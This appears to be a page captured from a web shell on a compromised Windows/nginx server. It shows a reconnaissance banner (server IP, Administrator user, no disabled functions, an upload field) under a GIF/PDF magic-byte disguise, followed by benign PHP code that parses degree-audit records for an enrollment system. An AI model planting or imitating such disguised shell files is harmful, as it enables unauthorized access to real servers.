GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Enrollment/parse/ |
Upload File : |
<? // Admin/Enrollment/parse/parseDARS_42_c.phpinc // Parse state 42 // Parse Ed Plan section. // Searching for: // ['Class'] // This is a class line, Test Out, or Experience. #$parseDARS_42_c = true; if ( !isset($parseDARS_42_c) ) $parseDARS_42_c = false; if ( $parseDARS_42_c ) { printLine(basename(__FILE__)); printLine('Searching for: Class.'); printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA); } if ( !isset($DARS['Section'][$sectionName]['Class']) ) { $DARS['Section'][$sectionName]['Class'] = array(); $sectionClassIndex = 0; if ( !isset($DARS['LastClassYRTR']) ) $DARS['LastClassYRTR'] = ''; } $DARS['Section'][$sectionName]['Class'][$sectionClassIndex] = array(); #printVar("$index: \$f_DARSln",$f_DARSln.' '.trim(substr($f_DARSln,29,2))); $f_ThisYear = trim(substr($f_DARSln,8,2)); if ( $f_ThisYear > 80 ) { $f_ThisYear = 1900+$f_ThisYear; } else { $f_ThisYear = 2000+$f_ThisYear; } $f_LastClassYRTR = $f_ThisYear*10; $f_ThisSemester = trim(substr($f_DARSln,6,2)); #printVar('$f_ThisYear',$f_ThisYear); #printVar('$f_LastClassYRTR',$f_LastClassYRTR); #printVar('$f_ThisSemester',$f_ThisSemester); $TR = 1; if ( $parseDARS_42_c ) printVar('$f_ThisSemester',$f_ThisSemester); switch ($f_ThisSemester) { case 'SS': $TR = -3; case 'S': $TR += 2; case 'F': $TR += 1; case 'W': $TR += 1; $f_LastClassYRTR += $TR; if ( trim(substr($f_DARSln,29,2)) != 'Z' ) { // This is a class taken if ( $f_LastClassYRTR > $DARS['LastClassYRTR'] ) { $DARS['LastClassYRTR'] = $f_LastClassYRTR; $DARS['LastRegisteredYRTR'] = $f_LastClassYRTR; #printVar('LastClassYRTR',$f_LastClassYRTR); } } else { if ( !isset($DARS['LastRegisteredYRTR']) || $f_LastClassYRTR > $DARS['LastRegisteredYRTR'] ) { $DARS['LastRegisteredYRTR'] = $f_LastClassYRTR; #printVar('LastRegisteredYRTR',$f_LastClassYRTR); } } #printVar('$f_LastClassYRTR',$f_LastClassYRTR); #printVar("\$DARS['LastClassYRTR']",$DARS['LastClassYRTR']); // This is a class line. // This is not a class in progress so count it. $DARS['Section'][$sectionName]['Class'][$sectionClassIndex] = array(); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Semester'] = $f_ThisSemester; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Year'] = $f_ThisYear; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Department'] = trim(substr($f_DARSln,11,4)); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Number'] = trim(substr($f_DARSln,15,5)); if ( substr($DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Number'],-1) == 'L' ) $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Number'] = substr($DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Number'],0,4); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Credits'] = trim(substr($f_DARSln,24,4)); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Grade'] = trim(substr($f_DARSln,29,2)); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Legend'] = trim(substr($f_DARSln,33,2)); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Title'] = trim(substr($f_DARSln,36,99)); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Comment'] = ''; break; case 'Te': // This is a Test Out Line while ( isset($f_DARSlnA[0]) && $f_DARSlnA[0] == 'Test' ) { if ( $parseDARS_42_c ) { printLine(basename(__FILE__)); printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA); } #printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA); #exit; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex] = array(); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Semester'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Year'] = ''; if ( !isset($f_DARSlnA[5]) || $f_DARSlnA[5] != '>>MATCHED' ) { $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Department'] = $f_DARSlnA[2]; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Number'] = $f_DARSlnA[3]; } else { // This is a MATCHED course. if ( strlen($f_DARSlnA[7]) <= 4 ) { // DDDD nnnn format. $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Department'] = $f_DARSlnA[7]; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Number'] = $f_DARSlnA[8]; } else { //DDDDnnnn format. $numberOfDeptChars = 0; for ( $i=0; $i<strlen($f_DARSlnA[7]); $i++ ) { if ( substr($f_DARSlnA[7],$i,1) >= 'A' && substr($f_DARSlnA[7],$i,1) <= 'Z' ) $numberOfDeptChars++; } if ( $parseDARS_42_c ) { printVar('$numberOfDeptChars',$numberOfDeptChars); } $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Department'] = substr($f_DARSlnA[7],0,$numberOfDeptChars); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Number'] = substr($f_DARSlnA[7],$numberOfDeptChars); } } $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Credits'] = $f_DARSlnA[4]; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Grade'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Legend'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Title'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Comment'] = $f_DARSln; array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Test array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Out array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Dept array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Numb array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Cr if ( isset($f_DARSlnA[0]) && $f_DARSlnA[0] == 'Test' ) $sectionClassIndex++; } break; case 'Pr': // This is a Pr Lrn Line while ( isset($f_DARSlnA[0]) && $f_DARSlnA[0] == 'Pr' ) { #printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA); #exit; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex] = array(); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Semester'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Year'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Department'] = $f_DARSlnA[2]; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Number'] = $f_DARSlnA[3]; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Credits'] = $f_DARSlnA[4]; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Grade'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Legend'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Title'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Comment'] = $f_DARSln; array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Pr array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Lrn array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Dept array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Numb array_shift($f_DARSlnA); $f_DARSlnAsize--; // Remove Cr if ( isset($f_DARSlnA[0]) && $f_DARSlnA[0] == 'Pr' ) $sectionClassIndex++; } break; case 'Wa': // This is a Waive Line $DARS['Section'][$sectionName]['Class'][$sectionClassIndex] = array(); $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Semester'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Year'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Department'] = $f_DARSlnA[1]; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Number'] = $f_DARSlnA[2]; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Credits'] = 0; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Grade'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Legend'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Title'] = ''; $DARS['Section'][$sectionName]['Class'][$sectionClassIndex]['Comment'] = $f_DARSln; break; default: $f_error = "Line '$f_DARSln' contains unknown semester '$f_ThisSemester'.<span class=\"pv_fl\"> ".basename(__FILE__).':'.__LINE__.'</span>'; $sectionClassIndex--; // #echo $f_error,"<br>\n"; break; } $sectionClassIndex++; ?>